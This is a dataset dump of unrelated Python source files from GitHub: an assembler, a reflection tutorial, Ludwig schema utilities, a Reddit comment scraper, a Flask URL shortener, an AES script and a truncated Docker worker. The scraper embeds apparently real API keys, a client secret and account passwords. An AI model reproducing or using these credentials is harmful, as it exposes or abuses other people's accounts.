ast.RShift: op.rshift}\n\n if isinstance(node, ast.Num): # \n return node.n\n\n elif isinstance(node, ast.BinOp): # \n return operators[type(node.op)](self._eval(node.left), self._eval(node.right))\n\n elif isinstance(node, ast.UnaryOp): # e.g., -1\n return operators[type(node.op)](self._eval(node.operand))\n\n else:\n raise TypeError(node)\n\n def listing_gen(self):\n for l_num, line in self._table.items():\n for pos in range(len(line)):\n try:\n self.listing += line[pos].generate(line, pos, l_num)\n except AttributeError:\n raise NameIsNotDefined(l_num, line[pos].name)\n return self.listing\n\n def listing_to_txt_hex(self):\n text_hex = []\n for i in self.listing:\n text_hex.append(f'{i:02X}')\n return text_hex\n\n\ndef create_parser():\n prs = argparse.ArgumentParser(\n prog='ASM Translator',\n description=\"\"\"Converting AMS-code to the byte-code\n of 8-bit LogiSim CPU.\"\"\",\n usage=\"\"\" python lsc8-asm.py [--out|-o ] [--help|-h] [--verbose|-v]\nexamples:\n python lsc8-asm.py file.asm\n python lsc8-asm.py file.asm -o file.txt -v\"\"\",\n epilog='(c) by baskiton, 2020'\n )\n prs.add_argument('file', type=argparse.FileType(mode='r'),\n help='Filename with ASM-code')\n prs.add_argument('--out', '-o', type=argparse.FileType(mode='w'),\n help='Write result to LogiSim file')\n prs.add_argument('--verbose', '-v', action='store_true', default=False,\n help='Verbose output')\n\n return prs\n\n\nif __name__ == '__main__':\n parser = create_parser()\n namespace = parser.parse_args()\n\n asm_file = namespace.file.read()\n\n lex = Lexer(asm_file)\n lex.analyze(namespace.verbose)\n lex.listing_gen()\n if namespace.verbose:\n print('\\n' + str(lex.listing))\n\n # Uncomment this to store binary fromat file\n # with open('bin.bin', 'wb') as bin_file:\n # bin_file.write(bytearray(lex.listing))\n\n if namespace.out:\n namespace.out.write('v2.0 raw\\n')\n namespace.out.write(' '.join(lex.listing_to_txt_hex()))\n\n if (not namespace.out) or namespace.verbose:\n print('Result:\\nv2.0 raw\\n' + ' '.join(lex.listing_to_txt_hex()))\n","repo_name":"baskiton/lsc-8","sub_path":"tools/lsc8-asm.py","file_name":"lsc8-asm.py","file_ext":"py","file_size_in_byte":36796,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"27637435538","text":"\"\"\"反射:用字符串类型的名字去操作变量\"\"\"\n\n# isinstance(obj, cls) # 判断obj对象是否为cls类的对象\n# issubclass(cls_sub, cls_super) # 判断cls_sub类是否为cls_super类的子类\n\n# 反射对象中的属性和方法\n# hasattr ---- if hasattr(obj, str): 判断obj中是否有 str名字的对象\n# getattr ---- 获取\n# setattr ---- 修改变量\n # 不是很重要\n # setattr(cls, obj, str) # 把cls类中的obj属性修改为str,obj不存在则新增obj属性。这个逻辑与正常的修改是一样的\n# delattr ---- 删除\n # 不太常用\n\"\"\"面向对象中\"\"\"\nclass A:\n price = 20\n def func(self):\n print('I\\'m func')\n\n @classmethod\n def pr_func(cls):\n print(A.price)\n\na = A()\na.name = 'alex'\n# 反射对象的属性\nret = getattr(a, 'name') # 通过变量名的字符串形式取到了值,第二个参数一定是字符串类型,这也是反射的目的\n # 可以这样理解。 a.name = 'alex'\n # 在进行反射时,getattr(obj, name), obj就是类a, name就是a中的属性name\nprint(ret)\n\n# 反射对象的方法\nif hasattr(a, 'func'):\n ret_func = getattr(a, 'func') # 这个取到的是方法名! 需要加()才能执行方法\n ret_func()\n\n# 反射类属性\nprint(getattr(A, 'price')) # 与对象属性类似,只是把对象名换成了雷鸣\n\n# 反射类方法: classmethod staticmethod\nif hasattr(A, 'pr_func'): # 判断是否存在这个方法,用法与getattr()一致\n getattr(A, 'pr_func')() # 与反射对象的方法类似。同样是把对象名换成了类名\n\n\"\"\"在模块中\"\"\"\nfrom day27 import my_module\nprint(my_module.day)\n# 取模块中的属性\nprint(getattr(my_module, 'day')) # 取模块中的属性,用法一样\n# 取模块中的函数\ngetattr(my_module, 'fn')() # 用法都一样\n\nyear = '反射自身模块中的属性'\nimport sys\n# print(sys.modules[__name__].year) # sys.modules[__name__] 这一串就是当前模块\n\n# 反射自身模块中的属性和方法\ndef test_f():\n print('反射自身模块中的方法')\n\ngetattr(sys.modules['__main__'], 'test_f')() # 反射自身模块中的方法\nprint(getattr(sys.modules[__name__], 'year'))\n\n# 可以反射内置模块\nimport time\nprint(getattr(time, 'time')())\nprint(getattr(time, 'strftime')('%m-%d %H:%M:%S')) # 括号内正常传参\n\n\n# 反射获取模块中的类\nc = getattr(my_module, 'C')() # 我反射得到了C, 并对他进行了实例化\nprint(c.__dict__)","repo_name":"Nishinomiya0foa/Old-Boys","sub_path":"1_base_OO_net/day27/02_Reflection.py","file_name":"02_Reflection.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"28412922189","text":"from dataclasses import field\n\nfrom marshmallow import fields, ValidationError\n\nfrom ludwig.api_annotations import DeveloperAPI\nfrom ludwig.constants import TYPE\nfrom ludwig.modules.loss_modules import get_loss_classes, get_loss_cls\nfrom ludwig.schema import utils as schema_utils\n\n\n@DeveloperAPI\ndef get_loss_conds(feature_type: str):\n \"\"\"Returns a JSON schema of conditionals to validate against loss types for specific feature types.\"\"\"\n conds = []\n for loss in get_loss_classes(feature_type):\n loss_cls = get_loss_cls(feature_type, loss).get_schema_cls()\n other_props = schema_utils.unload_jsonschema_from_marshmallow_class(loss_cls)[\"properties\"]\n schema_utils.remove_duplicate_fields(other_props)\n loss_cond = schema_utils.create_cond(\n {\"type\": loss},\n other_props,\n )\n conds.append(loss_cond)\n return conds\n\n\n@DeveloperAPI\ndef LossDataclassField(feature_type: str, default: str):\n \"\"\"Custom dataclass field that when used inside a dataclass will allow the user to specify a loss config for\n the decoder of an output feature.\n\n Returns: Initialized dataclass field that converts an untyped dict with params to a loss config.\n \"\"\"\n\n class LossMarshmallowField(fields.Field):\n \"\"\"Custom marshmallow field that deserializes a dict for a valid loss config from the\n preprocessing_registry and creates a corresponding JSON schema for external usage.\"\"\"\n\n def _deserialize(self, value, attr, data, **kwargs):\n if value is None:\n return None\n if isinstance(value, dict):\n if TYPE in value and value[TYPE] in get_loss_classes(feature_type):\n loss_config = get_loss_cls(feature_type, value[TYPE]).get_schema_cls()\n try:\n return loss_config.Schema().load(value)\n except (TypeError, ValidationError) as error:\n raise ValidationError(\n f\"Invalid loss params: {value}, see `{loss_config}` definition. Error: {error}\"\n )\n raise ValidationError(\n f\"Invalid params for loss: {value}, expect dict with at least a valid `type` attribute.\"\n )\n raise ValidationError(\"Field should be None or dict\")\n\n @staticmethod\n def _jsonschema_type_mapping():\n loss_classes = list(get_loss_classes(feature_type).keys())\n\n return {\n \"type\": \"object\",\n \"properties\": {\n \"type\": {\"type\": \"string\", \"enum\": loss_classes, \"default\": default},\n },\n \"title\": \"loss_options\",\n \"allOf\": get_loss_conds(feature_type),\n }\n\n try:\n loss = get_loss_cls(feature_type, default).get_schema_cls()\n load_default = loss.Schema().load({\"type\": default})\n dump_default = loss.Schema().dump({\"type\": default})\n\n return field(\n metadata={\n \"marshmallow_field\": LossMarshmallowField(\n allow_none=False,\n dump_default=dump_default,\n load_default=load_default,\n )\n },\n default_factory=lambda: load_default,\n )\n except Exception as e:\n raise ValidationError(f\"Unsupported loss type: {default}. See loss_registry. \" f\"Details: {e}\")\n","repo_name":"burness/ludwig","sub_path":"ludwig/schema/features/loss/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"39405426957","text":"import gspread\nfrom gspread import Cell\nfrom pprint import pprint\n\n\nGSPREAD_SERVICE_ACCOUNT = \"flight-deals-382008-0b61fb416b94.json\"\n\n\nclass DataManager:\n def __init__(self):\n self.destination_data = {}\n\n def get_destination_data(self):\n \"\"\"Use the google API to GET all the data in that sheet and print it out.\"\"\"\n # headers = {\"Authorization\": f\"Bearer {SHEETY_TOKEN}\"}\n # response = requests.get(url=SHEETY_PRICES_ENDPOINT, headers=headers)\n # response.raise_for_status()\n # data = response.json()[\"prices\"]\n sa = gspread.service_account(GSPREAD_SERVICE_ACCOUNT)\n sh = sa.open(\"Flight Deals\")\n wks = sh.worksheet(\"prices\")\n data = wks.get_all_records()\n self.destination_data = data\n pprint(self.destination_data)\n return self.destination_data\n\n def update_destination_codes(self):\n sa = gspread.service_account(GSPREAD_SERVICE_ACCOUNT)\n sh = sa.open(\"Flight Deals\")\n data = sh.worksheet(\"prices\")\n iatacode_cell_list = data.range('B2:B10')\n searchprice_cell_list = data.range('C2:C10')\n for index, val in enumerate(self.destination_data):\n iatacode_cell_list[index].value = val[\"IATA Code\"]\n searchprice_cell_list[index].value = val[\"Search Price\"]\n data.update_cells(iatacode_cell_list)\n data.update_cells(searchprice_cell_list)\n","repo_name":"85Niall/google_sheet_api.py","sub_path":"data_manager.py","file_name":"data_manager.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9807994398","text":"import cs50\n\ninput = 0\n\nwhile input < 1:\n print(\"please enter a card number:\")\n input = cs50.get_int() #why does walkthrough use get_float? no size problems with ints in python, get_float creates length issues since there are decimals potentially\n\n if input > 0:\n break\n\ntester = input % 1000\n\nprint(\"tester: %i\" % tester)","repo_name":"HughKelley/CS50","sub_path":"pset6/credit/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"210044806","text":"def Ask_User():\n \"\"\"Ask the user for an input\n\n Ask the user for an input but it cant be a float\n \"\"\"\n \n try:\n number = int(input('Numero -> '))\n\n return number\n \n except ValueError:\n print('No has introducido un numero entero.')\n \n\ndef main():\n\n Ask_User()\n\nif __name__ == \"__main__\":\n main()","repo_name":"IES-Rafael-Alberti/1dawb-u2-excepciones-depuraci-n-y-documentaci-n-Llavesuke","sub_path":"src/excepciones_04.py","file_name":"excepciones_04.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34106627209","text":"# ---------------- SUBREDDIT --------------------\n# Get specified number of comments from subreddit\n# -----------------------------------------------\nimport praw\nimport psraw\nimport sys\nimport datetime\nimport csv\nimport json\nimport googleapiclient\nfrom googleapiclient import discovery\nimport codecs\nfrom watson_developer_cloud import PersonalityInsightsV2\n# ----------------------------------------------------------\n# Return Google Perspective score for a given string of text\n# ----------------------------------------------------------\ndef runPerspective(str):\n\tAPI_KEY='AIzaSyAlCwhKJ0C8n4eFM-ioPC5-MCFYy4P-TT8'\n \t\n\t# Generates API client object dynamically based on service name and version.\n\tservice = discovery.build('commentanalyzer', 'v1alpha1', developerKey=API_KEY)\n\n\tanalyze_request = {\n\t\t'comment': { 'text': str },\n\t\t'requestedAttributes': {'TOXICITY': {}}\n\t\t}\n\ttry:\n\t\tresponse = service.comments().analyze(body=analyze_request).execute()\n\t\tjson.dumps(response)\n\t\t# print response.attributeScores.TOXICITY.summaryScore.value\n\t\treturn response[\"attributeScores\"][\"TOXICITY\"][\"summaryScore\"][\"value\"]\n\t\n\texcept googleapiclient.errors.HttpError as e:\n\t\treturn \"Error!\"\t\n\npersonality_insights = PersonalityInsightsV2( username='6767821d-be21-4822-8e8b-3e6c86dc525e',password='0pDKQc4uobkn')\n\ndef userPerspectiveScore(user):\n\tprint(user)\n\tperspectiveScore = 0\n\tfor comment in reddit.redditor(str(user)).comments.new(limit=10000):\n\t\ttry:\n\t\t\tstrUser += comment.body\n\t\texcept:\n\t\t\tprint (\"Errorstr\")\n\t\ttry:\n\t\t\tperspectiveScore += float(runPerspective(strUser))\n\t\texcept:\n\t\t\tprint (\"Error\")\n\t\n\ttry:\n\t\tprint(json.dumps(personality_insights.profile(text= strUser), indent=2))\t\n\texcept: \n\t\tprint (\"Personality Error\")\n\treturn ( perspectiveScore)\n\n\n\n# ----------------------------------------------------------\n# M A I N\n# ----------------------------------------------------------\n\n# Establish instance of reddit\nreddit = praw.Reddit(client_id='OlM6d2hKSrhbkw',client_secret='w3kllzs-03WScaa9DFMHvRdTnQg',password='WebW0rld',user_agent='script by /u/sravyadivakarla123',username='sravyadivakarla123')\n\n# Confirm successful instance initialization\n# print(reddit.user.me())\n\n# Take in CSV file of provided subreddits to scrape\n# r --> read permissions only\ncsvFile = 'subreddit_list.csv'\n\nall_subreddits = []\n\nwith open(csvFile, 'rU') as f:\n\treader = csv.reader(f, delimiter=',')\n\t# Each item is a list of containing all items in the row\n\tfor item in reader:\n\t\tall_subreddits.append(item[0])\n\t\tprint(item[0])\n\nfileName = 'subreddit_dump.csv'\n\n# Add header\nwith open(fileName, 'a') as csv_:\n\twriter = csv.writer(csv_, delimiter=',')\n\twriter.writerow([\"#\", \"Subreddit\", \"Submission\", \"Comment\", \"Timestamp(PT)\", \"Comment Score\", \"Number of Comments in Submission\", \"Perpective Score\"])\n\n# Traverse all subreddits and get comments from each one\n# Append them all to subreddit_dump.csv\n\nfor subreddit in all_subreddits: \n\twith open(fileName,'a') as f1:\n\t\twriter = csv.writer(f1, delimiter=',')\n\t\tindex = 0\n\t\n\t\tmaxNumComments = 1500\n \n \t# Initialize bookkeeping variables\n\t\ttotalCommentCount = 0\n\t\tsubCount = 0\n \n\t\tfor submission in reddit.subreddit(subreddit).submissions():\n\t\t\tif (totalCommentCount > 50):\n\t\t\t\tbreak\n\t\n\t\t\tsubCount += 1\n\n\t\t\tlocalCommentCount = 0\n\n\t\t\tsubmission.comments.replace_more(limit=None)\n \n\t\t\tfor comment in submission.comments.list():\n\t\t\t\ttotalCommentCount += 1\n\t\t\t\tlocalCommentCount += 1\n\t\t\n\n\t\t\t\t# print author name and get personality analysis and toxicity average score\n\t\t\t\tprint (userPerspectiveScore(comment.author))\n\t\t\t\tperspectiveScore = runPerspective(comment.body)\n \n \t\t# EACH ROW IN THE CSV CONTAINS:\n \t\t# Subreddit name, submission link, index, comment body, timestamp, comment score, number of comments in submission,\n \t\t\t# Google Perspective toxicity rating\n\t\t\t\trow = [totalCommentCount, subreddit, submission.permalink, comment.body.encode('utf8'),datetime.datetime.fromtimestamp(int(comment.created_utc)).strftime('%Y-%m-%d %H:%M:%S').encode('utf8'), comment.score, submission.num_comments, perspectiveScore]\n\t\t\t\twriter.writerow(row)\n\n","repo_name":"sravyasridivakarla/RedditScraper","sub_path":"subreddit_parser.py","file_name":"subreddit_parser.py","file_ext":"py","file_size_in_byte":4192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29926310716","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 1 14:29:25 2020\r\n\r\n@author: dan\r\n\"\"\"\r\n\r\ndef recur(num):\r\n if num > 0:\r\n num = num - 1\r\n print(num)\r\n recur(num)\r\n else:\r\n return\r\n \r\n\r\ndef fibonacci(n):\r\n if n <= 1:\r\n return n\r\n else:\r\n return(fibonacci(n - 1) + fibonacci(n - 2))\r\n \r\n\r\ndef fibcall5(nterm):\r\n print(\"fib seq by 5\")\r\n for i in range(nterm + 1):\r\n if i % 5 == 0:\r\n print(fibonacci(i))\r\n \r\ndef fibcall(nterm):\r\n for i in range(nterm + 1):\r\n print(fibonacci(i))","repo_name":"danielalexanderrich/small-scripts-and-projects","sub_path":"recursion.py","file_name":"recursion.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"12980593847","text":"from rmi import *\nfrom dataloader import *\nimport argparse\nimport copy\n#import os\n#os.environ['KMP_DUPLICATE_LIB_OK']='True'\n\nVAL_RATIO = 0.2\nTEST_RATIO = 0.2\nLOAD_FACTOR = 0.5\n\ndef get_stats(model, dataset, name, normalized_label):\n N = len(dataset.keys)\n pred, _ = model._run_inference_tensorflow(dataset.keys)\n mse = np.sqrt(np.mean((pred - dataset.positions)**2))\n print(name + \" loss: %.10f\" % mse)\n num_buckets = int(N/LOAD_FACTOR)\n print(\"num buckets:\", num_buckets)\n if normalized_label:\n unique_index = set([int(pred[i]/LOAD_FACTOR) for i in range(N)])\n else:\n unique_index = set([int(num_buckets*pred[i]) for i in range(N)])\n num_collisions = N - len(unique_index)\n print(name + \" number of collisions: %d\" % num_collisions, \" ratio: %.3f\" % (num_collisions/N))\n return mse\n\ndef train(args):\n print(\"training on:\", args)\n data_set = load_synthetic_data(args.data_dir, args.norm_label)\n data_sets = create_train_validate_test_data_sets(data_set, VAL_RATIO, TEST_RATIO)\n #train_dataset = load_shuttle_data(args.data_dir + '.trn', args.norm_label)\n #validation_dataset = load_shuttle_data(args.data_dir + '.tst', args.norm_label)\n #data_sets = create_train_validate_data_sets(train_dataset, validation_dataset)\n\n standardize = True\n if args.fix_inputs:\n standardize = False\n model = RMI_simple(data_sets.train, hidden_layer_widths=args.hidden_width, \n num_experts=args.num_experts, standardize=standardize)\n\n max_steps = [data_sets.train.num_keys//b for b in args.batch_size]\n model.run_training(batch_sizes=args.batch_size, max_steps=max_steps,\n learning_rates=args.lr, model_save_dir=args.model_save_dir, epoch=args.epoch)\n model.get_weights_from_trained_model()\n\n print(\"positions:\", data_sets.train.positions[:10])\n model.inspect_inference_steps(data_sets.train.keys[:10])\n model.calc_min_max_errors()\n\n train_mse = get_stats(model, data_sets.train, 'Training', args.norm_label)\n val_mse = get_stats(model, data_sets.validate, 'Validation', args.norm_label)\n return model, val_mse\n\ndef inference(args):\n best_params, best_model, best_mse = {}, None, float(\"inf\")\n for stage1_lr in [1e-4, 1e-3, 1e-2, 1e-1]:\n for stage2_lr in [1e-4, 1e-3, 1e-2, 1e-1]:\n for num_experts in [2, 4, 8, 16]:\n for h in [16, 32, 64, 128]:\n for num_layers in [1, 2, 3, 4]:\n args.lr = [stage1_lr, stage2_lr]\n args.num_experts = num_experts\n args.hidden_width = [h] * num_layers\n cur_model, cur_mse = train(args) \n if cur_mse < best_mse:\n best_params = copy.deepcopy(args)\n best_model = copy.deepcopy(cur_model)\n best_mse = cur_mse\n print(\"Best MSE: %.10f\", best_mse)\n print(\"Best params:\", best_params)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Training')\n parser.add_argument('-model_save_dir', default='results/')\n parser.add_argument('-data_dir', default='../data/normal_mean=1_std=1.txt')\n parser.add_argument('-lr', nargs='+', type=float, default=[1e-3, 1e-3])\n parser.add_argument('-batch_size', nargs='+', type=int, default=[64, 64])\n parser.add_argument('-num_experts', type=int, default=10)\n parser.add_argument('-hidden_width', nargs='+', type=int, default=[16])\n parser.add_argument('-epoch', type=int, default=5)\n parser.add_argument('-norm_label', action='store_true', help='Whether to normalize labels to be within [0,1]')\n parser.add_argument('-fix_inputs', action='store_true', help='Whether to keep input distribution the same and avoid standardization')\n args = parser.parse_args()\n #inference(args)\n train(args)\n","repo_name":"panethan28/Learned_HashMaps","sub_path":"model/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"41880789241","text":"import discord\nimport os\nimport random\nfrom discord.ext import commands\nfrom discord.ext.commands import Bot\n\n\nclass Info(commands.Cog):\n\n\tdef __init__(self, client):\n\t\tself.client = client\n\n\n\t@commands.command()\n\tasync def ping(self, ctx):\n\t\tawait ctx.send(f'Pong! The bot\\'s latency is {round(self.client.latency * 1000)}ms.')\n\n\t@commands.command()\n\tasync def about(self, ctx):\n\t\tawait ctx.send(\n\t\t\t'''I\\'m duckbot! I was created as a summer project to get familiar with Python. You can reach my creator at https://twitter.com/_duckgoose_.\n\t\t\n\t\t\tCurrent Version: 2.3.1 beta''')\n\ndef setup(client):\n client.add_cog(Info(client))","repo_name":"duckgoose0/duckbot","sub_path":"cogs/info.py","file_name":"info.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20454578613","text":"from ._image_subscriber import ImageSubscriber\n\n\nclass OutlineImageSubscriber(ImageSubscriber):\n \"\"\"A setting that subscribes to the list of available object outline names\n \"\"\"\n\n def __init__(\n self,\n text,\n value=\"None\",\n can_be_blank=False,\n blank_text=\"Leave blank\",\n *args,\n **kwargs,\n ):\n super(OutlineImageSubscriber, self).__init__(\n text, value, can_be_blank, blank_text, *args, **kwargs\n )\n\n def matches(self, setting):\n \"\"\"Only match OutlineNameProvider variables\"\"\"\n return isinstance(setting, OutlineImageSubscriber)\n","repo_name":"CellProfiler/core","sub_path":"cellprofiler_core/setting/subscriber/image_subscriber/_outline_image_subscriber.py","file_name":"_outline_image_subscriber.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"30274222033","text":"newlist = []\r\ngender = [['M','F'],['Male','Female']]\r\nfile = open(\"DataSet.txt\",'r')\r\nstr = file.read()\r\nlist1 = str.split('\\n')\r\nfile.close()\r\nheader = True\r\nno = 2\r\ncount = 0\r\nfor sublist in list1:\r\n if header == True:\r\n if no == 1:\r\n header = False\r\n elif no > 1:\r\n if count == no - 1:\r\n header = False\r\n count += 1\r\n continue\r\n newlist.append(sublist.split('-'))\r\ncount = 0\r\ntotalhr = 0\r\ntotalage = 0\r\nmcount = 0\r\nfcount = 0\r\nfor sublist in newlist:\r\n if len(sublist) != 5:\r\n break\r\n count += 1\r\n sublist.append(count)\r\n totalhr += int(sublist[1])\r\n totalage += int(sublist[2])\r\n if gender[0].index(sublist[4]) == 0:\r\n mcount += 1\r\n else:\r\n fcount += 1\r\navghr = totalhr / count\r\navgage = totalage / count\r\nx = -1\r\nwhile x < count:\r\n if x == -1:\r\n print('{:<4}{:<12}{:<10}{:<10}{:<15}'.format('No',\"Name\",\"Age\",\"Gender\",\"Reason for admission\"))\r\n else:\r\n print('{:<4}{:<12}{:<10}{:<10}{:<15}'.format(newlist[x][5],newlist[x][0],newlist[x][2],newlist[x][4],newlist[x][3]))\r\n x += 1\r\nprint()\r\nprint(\"The average heart rate is {:.2f}\".format(avghr))\r\nprint(\"The average age is {:.2f}\".format(avgage))\r\n\r\nif mcount > fcount:\r\n gender = gender[1][0]\r\nelse:\r\n gender = gender[1][1]\r\nprint(\"The most common gender entering the hospital is {}\".format(gender))\r\n","repo_name":"leezhiwei/RandomCodeSnippets","sub_path":"python/From School/MockAptTestAssets/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"44329453127","text":"\"\"\"Print All the Duplicates in the Given string\"\"\"\n\n\ndef allDuplicates(s):\n dup = {}\n for i in s:\n if i not in dup:\n dup[i] = 1\n else:\n dup[i] += 1\n res = [k for k, v in dup.items() if v > 1]\n return res\n\n\nprint(allDuplicates(\"abaacdase\"))\nprint(allDuplicates(\"aanfdrhddd\"))\n","repo_name":"Ranganath0108/Practice-Problems","sub_path":"strings/PrintDuplicates.py","file_name":"PrintDuplicates.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"31538677974","text":"from django.test import TestCase\nfrom django.test import override_settings\nfrom mock import Mock\n\nfrom omaha_server.utils import show_toolbar, add_extra_to_log_message, get_splunk_url\n\n\nclass UtilsTest(TestCase):\n def setUp(self):\n self.request = Mock()\n\n def test_show_toolbar_ajax(self):\n self.request.is_ajax = lambda: True\n self.assertFalse(show_toolbar(self.request))\n\n @override_settings(DEBUG=True)\n def test_show_toolbar_debug_true(self):\n self.request.is_ajax = lambda: False\n self.assertTrue(show_toolbar(self.request))\n\n @override_settings(DEBUG=False)\n def test_show_toolbar_debug_false(self):\n self.request.is_ajax = lambda: False\n self.assertFalse(show_toolbar(self.request))\n\n def test_add_extra_to_log_message(self):\n msg = 'test'\n extra = dict(a=1, c=3, b=2, d=4)\n expected_msg = 'test, a=1 , b=2 , c=3 , d=4'\n actual_msg = add_extra_to_log_message(msg, extra)\n self.assertEqual(actual_msg, expected_msg)\n\n @override_settings(FILEBEAT_HOST='splunk.example.com')\n def test_add_extra_to_log_message(self):\n params = dict(a=1, c=3, b=2, d=4)\n actual_msg = get_splunk_url(params)\n expected_msg = 'http://splunk.example.com/en-US/app/search/search?q=search a=1 b=2 c=3 d=4'\n self.assertEqual(actual_msg, expected_msg)\n","repo_name":"omaha-consulting/omaha-server","sub_path":"omaha_server/omaha_server/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":201,"dataset":"github-code","pt":"62"} +{"seq_id":"2271044963","text":"\nfrom flask import render_template, request ,redirect\nfrom .functions import is_url ,idMaker\nfrom . import db ,models ,app\nfrom .forms import shortLink\n\n\n@app.route(\"/\", methods = [\"GET\",\"POST\"])\ndef home():\n form = shortLink()\n if request.method == \"GET\" : \n return render_template(\"/base.html\",form=form)\n else : \n long_url = request.form.get(\"long_url\")\n long_url = is_url(long_url)\n if long_url == False :\n return render_template(\"/base.html\",form=form,flash=\"False URL\")\n \n \n \n\n short_url = idMaker()\n link = models.Link(long_url=long_url, short_url = short_url)\n db.session.add(link)\n db.session.commit()\n return render_template(\"/base.html\",form=form,flash=\"/\" + short_url)\n \n\n@app.route(\"/\", )\ndef redirc(id):\n rdrc = models.Link.query.filter_by(short_url=id).first()\n if(rdrc is None) :\n return redirect(\"/\",code=301)\n else : \n url = rdrc.long_url\n if(url[0:7] == \"http://\" or url[0:8] == \"https://\" ) :\n return redirect(url,code=301)\n\n return redirect(\"http://\"+url,code=301)\n \n\n\n \n\n@app.errorhandler(404)\ndef page_not_found(e):\n return \"Page is not here .\", 404","repo_name":"dnizfor/url-shortener","sub_path":"routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71237234438","text":"from Crypto.Util.Padding import pad, unpad\nfrom Crypto.Cipher import AES\nfrom Crypto.Random import get_random_bytes\nimport json\nimport sys\n\n# Files\nivFile = 'iv.txt'\nkeyFile = 'key.txt'\njsonFile = 'fruits.json'\nencryptedJsonFile = 'encrypted-json.txt'\n\nalgo = AES.MODE_CFB # Block cipher mode\niv = get_random_bytes(16) # Initialization vector\nkey = get_random_bytes(32)\n\ncipher = AES.new(key, algo, iv) # Generate cipher\n\n\ndef get_json():\n with open(jsonFile, 'r') as f:\n json_data = json.load(f)\n print(json_data)\n\n\ndef get_encrypted_json():\n with open(encryptedJsonFile, 'rb') as f:\n encrypted_json = f.read()\n print(encrypted_json)\n\n\ndef get_iv():\n with open(ivFile, 'rb') as f:\n iv_data = f.read()\n print(iv_data)\n\n\ndef get_key():\n with open(keyFile, 'rb') as f:\n key_data = f.read()\n print(key_data)\n\n\ndef handle_encryption():\n encrypted = cipher.encrypt(pad(get_encrypted_json()))\n print(encrypted)\n with open(encryptedJsonFile, 'wb')as f:\n f.write(encrypted)\n\n\ndef handle_decryption():\n decrypted = cipher.decrypt(unpad(get_encrypted_json()))\n print(decrypted)\n\n\n# Run the program\narg = sys.argv[1] # Command line args\nif arg == 'encrypt':\n handle_encryption()\n sys.exit(0)\nelif arg == 'decrypt':\n handle_decryption()\n sys.exit(0)\nelse:\n sys.exit(\"Argument required: python3 main.py [encrypt][decrypt]\")\n\n#========================================#\n# Alternative ideas:\n# import hashlib\n# password = \"password\".encode()\n# key = hashlib.sha256(password).digest()\n#========================================#\n","repo_name":"klutchdev/node-python-encryption","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"74964861638","text":"import copy\nfrom oslo_config import cfg\nfrom oslo_log import log as logging\nimport oslo_messaging as messaging\nimport six\nfrom nova.compute import rpcapi as compute_rpcapi\nfrom nova.db import base\nfrom nova import exception\nfrom nova.i18n import _, _LE, _LI, _LW\nfrom nova import manager\nfrom nova.compute import utils as compute_utils\nfrom nova import utils\nfrom nova import rpc\nfrom nova import servicegroup\n\nLOG = logging.getLogger(__name__)\nCONF = cfg.CONF\nimport json\nimport os\nimport shlex\nimport docker\nimport rpclient\n\ndef get_docker_client():\n return docker.APIClient\n\n\nclass DockerWorker(object):\n\n def __init__(self, parameters):\n self.params = parameters\n self.changed = False\n # Use this to store arguments to pass to exit_json().\n self.result = {}\n\n # TLS not fully implemented\n # tls_config = self.generate_tls()\n\n options = {\n 'version': self.params.get('api_version')\n }\n\n self.dc = get_docker_client()(**options)\n def stop_container(self):\n name = self.params.get('name')\n graceful_timeout = self.params.get('graceful_timeout')\n if not graceful_timeout:\n graceful_timeout = 10\n container = self.check_container()\n if not container:\n raise (\"No such container: {} to stop\".format(name))\n elif not container['Status'].startswith('Exited '):\n self.changed = True\n self.dc.stop(name, timeout=graceful_timeout)\n def pull_image(self):\n if self.params.get('auth_username'):\n self.dc.login(\n username=self.params.get('auth_username'),\n password=self.params.get('auth_password'),\n registry=self.params.get('auth_registry'),\n email=self.params.get('auth_email')\n )\n\n image, tag = self.parse_image()\n old_image_id = self.get_image_id()\n\n statuses = [\n json.loads(line.strip().decode('utf-8')) for line in self.dc.pull(\n repository=image, tag=tag, stream=True\n )\n ]\n\n for status in reversed(statuses):\n if 'error' in status:\n if status['error'].endswith('not found'):\n self.module.fail_json(\n msg=\"The requested image does not exist: {}:{}\".format(\n image, tag),\n failed=True\n )\n else:\n 